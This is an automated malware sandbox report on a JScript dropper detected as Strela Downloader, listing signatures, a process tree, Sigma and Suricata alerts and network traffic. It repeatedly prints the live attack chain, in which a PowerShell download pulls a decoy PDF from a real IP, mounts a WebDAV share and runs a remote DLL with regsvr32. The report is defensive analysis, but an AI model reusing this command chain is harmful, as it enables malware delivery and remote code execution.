Edit tour

Windows Analysis Report
7401990642713807.js

Overview

General Information

Sample name:	7401990642713807.js
Analysis ID:	1587564
MD5:	d011642ba2c83f6746ec73f5e14feb1a
SHA1:	d9cf26e25776d25312aa9bbcfe04ad42daaa2a82
SHA256:	13db7debd9b59b21abcfd30dd2de6b88736f360e1f6765c254980eb60e338b92
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5008 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6192 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6288 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,11865774184325783275,16723810736043265200,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5128 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1656 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 612 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5008	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6288, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6288, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ProcessId: 5008, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1656, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ProcessId: 6192, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ProcessId: 6192, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ProcessId: 6192, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ProcessId: 6192, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ProcessId: 6192, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ProcessId: 5008, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6192, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6288, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1656, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 612, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1656, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll, ProcessId: 6192, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:58:08.011722+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:58:05.393783+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 7401990642713807.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 7401990642713807.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:58:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

